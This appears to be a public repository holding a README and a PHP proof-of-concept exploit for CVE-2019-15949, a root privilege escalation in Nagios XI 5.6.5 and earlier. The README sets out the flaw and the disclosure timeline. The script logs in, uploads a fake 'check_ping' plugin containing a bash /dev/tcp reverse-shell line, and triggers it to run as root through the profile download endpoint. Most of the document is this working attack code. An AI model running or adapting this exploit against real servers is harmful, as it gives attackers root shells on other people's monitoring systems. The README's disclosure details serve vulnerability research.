├── README.md └── exploit.php /README.md: -------------------------------------------------------------------------------- 1 | # nagiosxi-root-exploit 2 | 3 | ### Overview 4 | A vulnerability exists in Nagios XI <= 5.6.5 allowing an attacker to leverage an RCE to escalate privileges to root. 5 | The exploit requires access to the server as the 'nagios' user, or CCM access via the web interface with perissions to manage plugins. 6 | 7 | ### Details 8 | The `getprofile.sh` script, invoked by downloading a system profile (profile.php?cmd=download), is executed as root via a passwordless sudo entry; the script executes the ‘check_plugin’ executuable which is owned by the nagios user. 9 | A user logged into Nagios XI with permissions to modify plugins, or the 'nagios' user on the server, can modify the ‘check_plugin’ executable and insert malicious commands exectuable as root. 10 | 11 | ### POC 12 | A PHP POC has been developed which uploads a payload resulting in a reverse root shell. 13 | Usage: 14 | `php privesc.php --host=example.com --ssl=[true/false] --user=username --pass=password --reverseip=ip --reverseport=port` 15 | 16 | ### Discolusure 17 | Reported to Nagios on: 29th July 2019 18 | Confirmed by Nagios on: 29th July 2019 19 | Fixed in version: 5.6.6 on: 20th August 2019 20 | CVE Assigned on: 6th September 2019 (CVE-2019-15949 https://nvd.nist.gov/vuln/detail/CVE-2019-15949) 21 | 22 | ![alt text](https://i.imgur.com/fl0zwSE.png) 23 | -------------------------------------------------------------------------------- /exploit.php: -------------------------------------------------------------------------------- 1 | loadHTML($response); 53 | $xpath = new DOMXpath($DOM); 54 | $input = $xpath->query('//input[@name="nsp"]'); 55 | $nsp = $input->item(0)->getAttribute('value'); 56 | 57 | if (isset($nsp)) { 58 | echo "[+] Extracted NSP - value: {$nsp}\n"; 59 | } else { 60 | echo "[+] Unable to obtain NSP from {$url}\n"; 61 | exit(1); 62 | } 63 | 64 | return $nsp; 65 | 66 | } 67 | 68 | function authenticate($userVal) { 69 | 70 | $postValues = array( 71 | 'username' => $userVal['user'], 'password' => $userVal['pass'], 72 | 'pageopt' => 'login', 'nsp' => $userVal['loginNSP'] 73 | ); 74 | 75 | $curl = curl_init(); 76 | 77 | curl_setopt($curl, CURLOPT_URL, $userVal['loginUrl']); 78 | curl_setopt($curl, CURLOPT_POST, TRUE); 79 | curl_setopt($curl, CURLOPT_POSTFIELDS, http_build_query($postValues)); 80 | curl_setopt($curl, CURLOPT_REFERER, $userVal['loginUrl']); 81 | curl_setopt($curl, CURLOPT_RETURNTRANSFER, TRUE); 82 | curl_setopt($curl, CURLOPT_COOKIEJAR, 'cookie.txt'); 83 | curl_setopt($curl, CURLOPT_COOKIEFILE, 'cookie.txt'); 84 | curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, FALSE); 85 | curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, FALSE); 86 | 87 | echo "[+] Attempting to login...\n"; 88 | curl_exec($curl); 89 | if (curl_getinfo($curl, CURLINFO_HTTP_CODE) == '302') { 90 | echo "[+] Authentication success\n"; 91 | } else { 92 | echo "[+] Unable to plguin, check your credentials\n"; 93 | exit(1); 94 | } 95 | 96 | echo "[+] Checking we have admin rights...\n"; 97 | curl_setopt($curl, CURLOPT_URL, $userVal['pluginUrl']); 98 | $response = curl_exec($curl); 99 | 100 | $title = NULL; 101 | 102 | $dom = new DOMDocument(); 103 | if (@$dom->loadHTML($response)) { 104 | $dom->getElementsByTagName("title")->length > 0 ? $title = $dom->getElementsByTagName("title")->item(0)->textContent : FALSE; 105 | } 106 | 107 | if (strpos($title, 'Manage') !== FALSE) { 108 | echo "[+] Admin access confirmed\n"; 109 | } else { 110 | echo "[+] Unable to reach login page, are you admin?\n"; 111 | exit(1); 112 | } 113 | 114 | } 115 | 116 | function uploadPayload($userVal) { 117 | 118 | $payload = "-----------------------------18467633426500\nContent-Disposition: form-data; name=\"upload\"\n\n1\n-----------------------------18467633426500\nContent-Disposition: form-data; name=\"nsp\"\n\n{$userVal['pluginNSP']}\n-----------------------------18467633426500\nContent-Disposition: form-data; name=\"MAX_FILE_SIZE\"\n\n20000000\n-----------------------------18467633426500\nContent-Disposition: form-data; name=\"uploadedfile\"; filename=\"check_ping\"\nContent-Type: text/plain\n\nbash -i >& /dev/tcp/{$userVal['reverseip']}/{$userVal['reverseport']} 0>&1\n-----------------------------18467633426500--\n"; 119 | 120 | $curl = curl_init(); 121 | curl_setopt($curl, CURLOPT_URL, $userVal['pluginUrl']); 122 | curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1); 123 | curl_setopt($curl, CURLOPT_POSTFIELDS, $payload); 124 | curl_setopt($curl, CURLOPT_POST, 1); 125 | curl_setopt($curl, CURLOPT_ENCODING, 'gzip, deflate'); 126 | curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, FALSE); 127 | curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, FALSE); 128 | curl_setopt($curl, CURLOPT_COOKIEFILE, 'cookie.txt'); 129 | 130 | $headers = array(); 131 | $headers[] = 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'; 132 | $headers[] = 'Accept-Language: en-GB,en;q=0.5'; 133 | $headers[] = 'Referer: ' . $userVal['pluginUrl']; 134 | $headers[] = 'Content-Type: multipart/form-data; boundary=---------------------------18467633426500'; 135 | $headers[] = 'Connection: keep-alive'; 136 | $headers[] = 'Upgrade-Insecure-Requests: 1'; 137 | 138 | curl_setopt($curl, CURLOPT_HTTPHEADER, $headers); 139 | 140 | echo "[+] Uploading payload...\n"; 141 | 142 | $response = curl_exec($curl); 143 | $dom = new DOMDocument(); 144 | @$dom->loadHTML($response); 145 | 146 | $upload = FALSE; 147 | 148 | foreach ($dom->getElementsByTagName('div') as $div) { 149 | 150 | if ($div->getAttribute('class') === 'message') { 151 | if (strpos($div->nodeValue, 'New plugin was installed') !== FALSE) { 152 | $upload = TRUE; 153 | } 154 | } 155 | } 156 | 157 | if ($upload) { 158 | echo "[+] Payload uploaded\n"; 159 | } else { 160 | echo '[+] Unable to upload payload'; 161 | exit(1); 162 | } 163 | 164 | } 165 | 166 | function triggerPayload($userVal) { 167 | 168 | $curl = curl_init(); 169 | curl_setopt($curl, CURLOPT_URL, $userVal['profileGenUrl']); 170 | curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1); 171 | curl_setopt($curl, CURLOPT_ENCODING, 'gzip, deflate'); 172 | curl_setopt($curl, CURLOPT_COOKIEFILE, 'cookie.txt'); 173 | 174 | $headers = array(); 175 | $headers[] = 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'; 176 | $headers[] = 'Connection: keep-alive'; 177 | $headers[] = 'Upgrade-Insecure-Requests: 1'; 178 | 179 | curl_setopt($curl, CURLOPT_HTTPHEADER, $headers); 180 | 181 | echo "[+] Triggering payload: if successful, a reverse shell will spawn at {$userVal['reverseip']}:{$userVal['reverseport']}\n"; 182 | 183 | curl_exec($curl); 184 | 185 | } 186 | 187 | function showHelp() { 188 | echo "Usage: php exploit.php --host=example.com --ssl=[true/false] --user=username --pass=password --reverseip=ip --reverseport=port\n"; 189 | exit(0); 190 | } 191 | 192 | function parseArgs($argv) { 193 | 194 | $userVal = array(); 195 | for ($i = 1; $i < count($argv); $i++) { 196 | if (preg_match('/^--([^=]+)=(.*)/', $argv[$i], $match)) { 197 | $userVal[$match[1]] = $match[2]; 198 | } 199 | } 200 | 201 | if (!isset($userVal['host']) || !isset($userVal['ssl']) || !isset($userVal['user']) || !isset($userVal['pass']) || !isset($userVal['reverseip']) || !isset($userVal['reverseport'])) { 202 | showHelp(); 203 | } 204 | 205 | $userVal['ssl'] == 'true' ? $userVal['proto'] = 'https://' : $userVal['proto'] = 'http://'; 206 | $userVal['loginUrl'] = $userVal['proto'] . $userVal['host'] . '/nagiosxi/login.php'; 207 | $userVal['pluginUrl'] = $userVal['proto'] . $userVal['host'] . '/nagiosxi/admin/monitoringplugins.php'; 208 | $userVal['profileGenUrl'] = $userVal['proto'] . $userVal['host'] . '/nagiosxi/includes/components/profile/profile.php?cmd=download'; 209 | 210 | return $userVal; 211 | 212 | } 213 | 214 | function checkCookie() { 215 | if (file_exists('cookie.txt')) { 216 | echo "cookie.txt already exists - delete prior to running"; 217 | exit(1); 218 | } 219 | } 220 | --------------------------------------------------------------------------------